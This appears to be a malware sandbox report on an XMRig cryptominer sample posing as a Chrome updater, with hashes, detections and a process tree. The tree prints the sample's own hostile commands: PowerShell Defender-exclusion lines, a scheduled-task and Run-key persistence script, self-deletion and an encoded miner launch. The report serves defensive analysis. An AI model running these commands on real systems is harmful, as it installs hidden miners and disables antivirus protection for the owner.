xmrig | cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

max time kernel
588s
max time network
1785s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
04/05/2023, 10:13

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General

Target

qM5GMXBk6hJE6Y5e.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1696 created 1252	1696	qM5GMXBk6hJE6Y5e.exe	15
PID 1696 created 1252	1696	qM5GMXBk6hJE6Y5e.exe	15
PID 1696 created 1252	1696	qM5GMXBk6hJE6Y5e.exe	15
PID 1696 created 1252	1696	qM5GMXBk6hJE6Y5e.exe	15
PID 808 created 1252	808	updater.exe	15
PID 808 created 1252	808	updater.exe	15
PID 808 created 1252	808	updater.exe	15
PID 2040 created 1252	2040	conhost.exe	15
PID 808 created 1252	808	updater.exe	15
PID 808 created 1252	808	updater.exe	15

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral1/memory/1184-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-149-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-157-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-159-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-161-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-163-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-165-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1184-167-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1448	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
808	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1644	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1184-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-149-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-157-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-159-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-161-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-163-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-165-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1184-167-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 808 set thread context of 2040	808	updater.exe	46
PID 808 set thread context of 1184	808	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
856	schtasks.exe
1956	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0f526f3817ed901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1696	qM5GMXBk6hJE6Y5e.exe
1696	qM5GMXBk6hJE6Y5e.exe
2004	powershell.exe
1696	qM5GMXBk6hJE6Y5e.exe
1696	qM5GMXBk6hJE6Y5e.exe
1440	powershell.exe
1696	qM5GMXBk6hJE6Y5e.exe
1696	qM5GMXBk6hJE6Y5e.exe
1696	qM5GMXBk6hJE6Y5e.exe
1696	qM5GMXBk6hJE6Y5e.exe
2032	powershell.exe
808	updater.exe
808	updater.exe
976	powershell.exe
808	updater.exe
808	updater.exe
1712	powershell.exe
808	updater.exe
808	updater.exe
2040	conhost.exe
2040	conhost.exe
808	updater.exe
808	updater.exe
808	updater.exe
808	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
460	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	2032	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	808	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeSecurityPrivilege	1564	WMIC.exe
Token: SeTakeOwnershipPrivilege	1564	WMIC.exe
Token: SeLoadDriverPrivilege	1564	WMIC.exe
Token: SeSystemtimePrivilege	1564	WMIC.exe
Token: SeBackupPrivilege	1564	WMIC.exe
Token: SeRestorePrivilege	1564	WMIC.exe
Token: SeShutdownPrivilege	1564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1564	WMIC.exe
Token: SeUndockPrivilege	1564	WMIC.exe
Token: SeManageVolumePrivilege	1564	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1564	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1564	WMIC.exe
Token: SeSecurityPrivilege	1564	WMIC.exe
Token: SeTakeOwnershipPrivilege	1564	WMIC.exe
Token: SeLoadDriverPrivilege	1564	WMIC.exe
Token: SeSystemtimePrivilege	1564	WMIC.exe
Token: SeBackupPrivilege	1564	WMIC.exe
Token: SeRestorePrivilege	1564	WMIC.exe
Token: SeShutdownPrivilege	1564	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1564	WMIC.exe
Token: SeUndockPrivilege	1564	WMIC.exe
Token: SeManageVolumePrivilege	1564	WMIC.exe
Token: SeLockMemoryPrivilege	1184	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 856	1440	powershell.exe	32
PID 1440 wrote to memory of 856	1440	powershell.exe	32
PID 1440 wrote to memory of 856	1440	powershell.exe	32
PID 1448 wrote to memory of 1248	1448	cmd.exe	37
PID 1448 wrote to memory of 1248	1448	cmd.exe	37
PID 1448 wrote to memory of 1248	1448	cmd.exe	37
PID 2032 wrote to memory of 1012	2032	powershell.exe	38
PID 2032 wrote to memory of 1012	2032	powershell.exe	38
PID 2032 wrote to memory of 1012	2032	powershell.exe	38
PID 1644 wrote to memory of 808	1644	taskeng.exe	40
PID 1644 wrote to memory of 808	1644	taskeng.exe	40
PID 1644 wrote to memory of 808	1644	taskeng.exe	40
PID 1712 wrote to memory of 1956	1712	powershell.exe	45
PID 1712 wrote to memory of 1956	1712	powershell.exe	45
PID 1712 wrote to memory of 1956	1712	powershell.exe	45
PID 808 wrote to memory of 2040	808	updater.exe	46
PID 480 wrote to memory of 1564	480	cmd.exe	51
PID 480 wrote to memory of 1564	480	cmd.exe	51
PID 480 wrote to memory of 1564	480	cmd.exe	51
PID 808 wrote to memory of 1184	808	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1252
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1012
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1448
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1956
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2040
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1972
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:480
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1564
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1184

C:\Windows\system32\taskeng.exe
taskeng.exe {73F8ED9B-CB89-4FDB-8FC4-F08C4F685C39} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3807af28ae159ed8fe55a65d2fba9efc

SHA1
8d579d47736b7a942f83fd33bb52f2be573f2f40

SHA256
41f7aecdc871f1f14c145e41dabd401eeccdb9ef9f7dfabe9b7e304106570942

SHA512
0114015f009690f73325b81a24ef9014ae9af1e909ae8719a56d24b3b627f61909b8976ef192d770a57aff903e7f6e3f2fec96e6461ebd839235c0a4636682e4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3807af28ae159ed8fe55a65d2fba9efc

SHA1
8d579d47736b7a942f83fd33bb52f2be573f2f40

SHA256
41f7aecdc871f1f14c145e41dabd401eeccdb9ef9f7dfabe9b7e304106570942

SHA512
0114015f009690f73325b81a24ef9014ae9af1e909ae8719a56d24b3b627f61909b8976ef192d770a57aff903e7f6e3f2fec96e6461ebd839235c0a4636682e4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JMVJ8L9YC61DX5Z31YLR.temp

Filesize
7KB

MD5
3807af28ae159ed8fe55a65d2fba9efc

SHA1
8d579d47736b7a942f83fd33bb52f2be573f2f40

SHA256
41f7aecdc871f1f14c145e41dabd401eeccdb9ef9f7dfabe9b7e304106570942

SHA512
0114015f009690f73325b81a24ef9014ae9af1e909ae8719a56d24b3b627f61909b8976ef192d770a57aff903e7f6e3f2fec96e6461ebd839235c0a4636682e4

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/808-87-0x000000013F9A0000-0x000000013FBB1000-memory.dmp

Filesize
2.1MB

Download
memory/808-100-0x000000013F9A0000-0x000000013FBB1000-memory.dmp

Filesize
2.1MB

Download
memory/808-102-0x000000013F9A0000-0x000000013FBB1000-memory.dmp

Filesize
2.1MB

Download
memory/976-90-0x000000000110B000-0x0000000001142000-memory.dmp

Filesize
220KB

Download
memory/976-89-0x0000000001104000-0x0000000001107000-memory.dmp

Filesize
12KB

Download
memory/1184-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-167-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-165-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-163-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-161-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-159-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-157-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-149-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-147-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-145-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-143-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-103-0x00000000001B0000-0x00000000001D0000-memory.dmp

Filesize
128KB

Download
memory/1184-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-105-0x0000000000890000-0x00000000008B0000-memory.dmp

Filesize
128KB

Download
memory/1184-106-0x00000000008B0000-0x00000000008D0000-memory.dmp

Filesize
128KB

Download
memory/1184-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-112-0x0000000000890000-0x00000000008B0000-memory.dmp

Filesize
128KB

Download
memory/1184-113-0x00000000008B0000-0x00000000008D0000-memory.dmp

Filesize
128KB

Download
memory/1184-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1184-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1440-68-0x000000001B040000-0x000000001B322000-memory.dmp

Filesize
2.9MB

Download
memory/1440-72-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/1440-71-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/1440-70-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/1440-69-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/1696-54-0x000000013F130000-0x000000013F341000-memory.dmp

Filesize
2.1MB

Download
memory/1696-74-0x000000013F130000-0x000000013F341000-memory.dmp

Filesize
2.1MB

Download
memory/1712-92-0x0000000000FD0000-0x0000000001050000-memory.dmp

Filesize
512KB

Download
